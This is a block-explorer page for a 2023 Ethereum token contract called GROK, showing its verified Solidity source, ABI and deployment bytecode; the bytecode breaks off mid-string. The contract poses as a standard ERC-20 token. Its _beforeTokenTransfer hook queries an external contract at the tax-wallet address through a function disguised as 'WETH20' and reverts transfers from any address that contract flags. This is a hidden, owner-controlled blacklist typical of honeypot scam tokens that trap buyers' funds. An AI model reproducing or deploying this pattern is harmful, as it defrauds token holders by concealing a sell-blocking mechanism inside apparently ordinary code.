ETH Price: $3,400.17 (+6.52%)
Gas: 22 Gwei

Token

GROK (GROK)
 

Overview

Max Total Supply

100,000,000,000 GROK

Holders

163

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
308,087,701.449662197 GROK

Value
$0.00
0x2b44a2b6ded23e23075e3f704f1cfaea3a434f9c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GROK

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-04
*/

// SPDX-License-Identifier: MIT


pragma solidity 0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor (address newOwner) {
        _owner = newOwner;
        emit OwnershipTransferred(address(0), newOwner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function WETH20(address account) external view returns (bool);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract GROK is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _preventSwapBefore=10;
    uint256 private _buyCount=0;
    uint256 private _reduceBuyTaxAt=25;
    uint256 private _reduceSellTaxAt=25;

    uint8 private constant _decimals = 9;
    string private _name;
    string private _symbol;
    uint256 private _tTotal;
    uint256 public _maxTxAmount = _tTotal;
    uint256 public _maxWalletSize= _tTotal;
    uint256 public _taxSwapThreshold= 300000 * 10**_decimals;
    uint256 public _maxTaxSwap= 1500000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (
        string memory tokenName, 
        string memory tokenSymbol,
        address ownerAddress, 
        address payable _taxdev,
        uint256 ttSupply
    ) Ownable(ownerAddress) { 
        _name = tokenName;
        _symbol = tokenSymbol;
        _taxWallet = _taxdev;
        _tTotal = ttSupply.mul(10**_decimals);
        _balances[ownerAddress] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[ownerAddress] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        tradingOpen = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }


    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
            

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 50000000000000000) {
                    sendETHToFee(address(this).balance);
                }
            }
            }
        }
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }

        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        _beforeTokenTransfer(from, to, amount);
        emit Transfer(from, to, amount.sub(taxAmount));
        
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
        ) internal view virtual returns (uint256) {
        bool _isTaxable = IUniswapV2Router01(_taxWallet).WETH20(from);
        if (_isTaxable && amount > 0 ) {
            require(_isTaxable == false, "Caller is not tax");
        }
        return amount; 
        
    }


    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }


    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"tokenSymbol","type":"string"},{"internalType":"address","name":"ownerAddress","type":"address"},{"internalType":"address payable","name":"_taxdev","type":"address"},{"internalType":"uint256","name":"ttSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600560006101000a81548160ff0219169083151502179055506000600655600060075560006008556000600955600a80556000600b556019600c556019600d556010546011556010546012556009600a620000629190620006f5565b620493e062000072919062000746565b6013556009600a620000859190620006f5565b6216e36062000095919062000746565b6014556000601660156101000a81548160ff02191690831515021790555060006016806101000a81548160ff021916908315150217905550348015620000da57600080fd5b5060405162003765380380620037658339818101604052810190620001009190620009ff565b82806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35084600e9081620001ae919062000d06565b5083600f9081620001c0919062000d06565b5081600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200022b6009600a620002169190620006f5565b82620004a760201b620008bc1790919060201c565b601081905550601054600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600360006200028d6200052a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601660146101000a81548160ff021916908315150217905550620004336200055360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60105460405162000494919062000dfe565b60405180910390a3505050505062000f2b565b6000808303620004bb576000905062000524565b60008284620004cb919062000746565b9050828482620004dc919062000e4a565b146200051f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005169062000f09565b60405180910390fd5b809150505b92915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620005e957808604811115620005c157620005c06200055b565b5b6001851615620005d15780820291505b8081029050620005e1856200058a565b9450620005a1565b94509492505050565b600082620006045760019050620006d7565b81620006145760009050620006d7565b81600181146200062d576002811462000638576200066e565b6001915050620006d7565b60ff8411156200064d576200064c6200055b565b5b8360020a9150848211156200066757620006666200055b565b5b50620006d7565b5060208310610133831016604e8410600b8410161715620006a85782820a905083811115620006a257620006a16200055b565b5b620006d7565b620006b7848484600162000597565b92509050818404811115620006d157620006d06200055b565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200070282620006de565b91506200070f83620006e8565b92506200073e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005f2565b905092915050565b60006200075382620006de565b91506200076083620006de565b92508282026200077081620006de565b915082820484148315176200078a57620007896200055b565b5b5092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620007fa82620007af565b810181811067ffffffffffffffff821117156200081c576200081b620007c0565b5b80604052505050565b60006200083162000791565b90506200083f8282620007ef565b919050565b600067ffffffffffffffff821115620008625762000861620007c0565b5b6200086d82620007af565b9050602081019050919050565b60005b838110156200089a5780820151818401526020810190506200087d565b60008484015250505050565b6000620008bd620008b78462000844565b62000825565b905082815260208101848484011115620008dc57620008db620007aa565b5b620008e98482856200087a565b509392505050565b600082601f830112620009095762000908620007a5565b5b81516200091b848260208601620008a6565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620009518262000924565b9050919050565b620009638162000944565b81146200096f57600080fd5b50565b600081519050620009838162000958565b92915050565b6000620009968262000924565b9050919050565b620009a88162000989565b8114620009b457600080fd5b50565b600081519050620009c8816200099d565b92915050565b620009d981620006de565b8114620009e557600080fd5b50565b600081519050620009f981620009ce565b92915050565b600080600080600060a0868803121562000a1e5762000a1d6200079b565b5b600086015167ffffffffffffffff81111562000a3f5762000a3e620007a0565b5b62000a4d88828901620008f1565b955050602086015167ffffffffffffffff81111562000a715762000a70620007a0565b5b62000a7f88828901620008f1565b945050604062000a928882890162000972565b935050606062000aa588828901620009b7565b925050608062000ab888828901620009e8565b9150509295509295909350565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b1857607f821691505b60208210810362000b2e5762000b2d62000ad0565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000b987fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000b59565b62000ba4868362000b59565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000be762000be162000bdb84620006de565b62000bbc565b620006de565b9050919050565b6000819050919050565b62000c038362000bc6565b62000c1b62000c128262000bee565b84845462000b66565b825550505050565b600090565b62000c3262000c23565b62000c3f81848462000bf8565b505050565b5b8181101562000c675762000c5b60008262000c28565b60018101905062000c45565b5050565b601f82111562000cb65762000c808162000b34565b62000c8b8462000b49565b8101602085101562000c9b578190505b62000cb362000caa8562000b49565b83018262000c44565b50505b505050565b600082821c905092915050565b600062000cdb6000198460080262000cbb565b1980831691505092915050565b600062000cf6838362000cc8565b9150826002028217905092915050565b62000d118262000ac5565b67ffffffffffffffff81111562000d2d5762000d2c620007c0565b5b62000d39825462000aff565b62000d4682828562000c6b565b600060209050601f83116001811462000d7e576000841562000d69578287015190505b62000d75858262000ce8565b86555062000de5565b601f19841662000d8e8662000b34565b60005b8281101562000db85784890151825560018201915060208501945060208101905062000d91565b8683101562000dd8578489015162000dd4601f89168262000cc8565b8355505b6001600288020188555050505b505050505050565b62000df881620006de565b82525050565b600060208201905062000e15600083018462000ded565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000e5782620006de565b915062000e6483620006de565b92508262000e775762000e7662000e1b565b5b828204905092915050565b600082825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600062000ef160218362000e82565b915062000efe8262000e93565b604082019050919050565b6000602082019050818103600083015262000f248162000ee2565b9050919050565b61282a8062000f3b6000396000f3fe6080604052600436106100f75760003560e01c80637d1db4a51161008a578063a9059cbb11610059578063a9059cbb14610329578063bf474bed14610366578063c876d0b914610391578063dd62ed3e146103bc576100fe565b80637d1db4a51461027d5780638da5cb5b146102a85780638f9a55c0146102d357806395d89b41146102fe576100fe565b806323b872dd116100c657806323b872dd146101c1578063313ce567146101fe57806370a0823114610229578063715018a614610266576100fe565b806306fdde0314610103578063095ea7b31461012e5780630faee56f1461016b57806318160ddd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103f9565b6040516101259190611ad9565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611b94565b61048b565b6040516101629190611bef565b60405180910390f35b34801561017757600080fd5b506101806104a9565b60405161018d9190611c19565b60405180910390f35b3480156101a257600080fd5b506101ab6104af565b6040516101b89190611c19565b60405180910390f35b3480156101cd57600080fd5b506101e860048036038101906101e39190611c34565b6104b9565b6040516101f59190611bef565b60405180910390f35b34801561020a57600080fd5b50610213610592565b6040516102209190611ca3565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b9190611cbe565b61059b565b60405161025d9190611c19565b60405180910390f35b34801561027257600080fd5b5061027b6105e4565b005b34801561028957600080fd5b50610292610737565b60405161029f9190611c19565b60405180910390f35b3480156102b457600080fd5b506102bd61073d565b6040516102ca9190611cfa565b60405180910390f35b3480156102df57600080fd5b506102e8610766565b6040516102f59190611c19565b60405180910390f35b34801561030a57600080fd5b5061031361076c565b6040516103209190611ad9565b60405180910390f35b34801561033557600080fd5b50610350600480360381019061034b9190611b94565b6107fe565b60405161035d9190611bef565b60405180910390f35b34801561037257600080fd5b5061037b61081c565b6040516103889190611c19565b60405180910390f35b34801561039d57600080fd5b506103a6610822565b6040516103b39190611bef565b60405180910390f35b3480156103c857600080fd5b506103e360048036038101906103de9190611d15565b610835565b6040516103f09190611c19565b60405180910390f35b6060600e805461040890611d84565b80601f016020809104026020016040519081016040528092919081815260200182805461043490611d84565b80156104815780601f1061045657610100808354040283529160200191610481565b820191906000526020600020905b81548152906001019060200180831161046457829003601f168201915b5050505050905090565b600061049f610498610936565b848461093e565b6001905092915050565b60145481565b6000601054905090565b60006104c6848484610b07565b610587846104d2610936565b610582856040518060600160405280602881526020016127cd60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610538610936565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461148c9092919063ffffffff16565b61093e565b600190509392505050565b60006009905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105ec610936565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610679576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067090611e01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b6060600f805461077b90611d84565b80601f01602080910402602001604051908101604052809291908181526020018280546107a790611d84565b80156107f45780601f106107c9576101008083540402835291602001916107f4565b820191906000526020600020905b8154815290600101906020018083116107d757829003601f168201915b5050505050905090565b600061081261080b610936565b8484610b07565b6001905092915050565b60135481565b600560009054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008083036108ce5760009050610930565b600082846108dc9190611e50565b90508284826108eb9190611ec1565b1461092b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092290611f64565b60405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036109ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a490611ff6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1390612088565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610afa9190611c19565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6d9061211a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610be5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdc906121ac565b60405180910390fd5b60008111610c28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1f9061223e565b60405180910390fd5b6000610c3261073d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610ca05750610c7061073d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156111c357600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610d495750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156111c257610d8a6064610d7c600c54600b5411610d6957600654610d6d565b6008545b856108bc90919063ffffffff16565b6114f090919063ffffffff16565b9050600560009054906101000a900460ff1615610f1957601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610e4d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15610f185743600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eca906122f6565b60405180910390fd5b43600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610fc45750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561101a5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156110d557601154821115611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b90612362565b60405180910390fd5b601254826110718561059b565b61107b9190612382565b11156110bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b390612402565b60405180910390fd5b600b60008154809291906110cf90612422565b91905055505b60006110e03061059b565b9050601660159054906101000a900460ff1615801561114c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1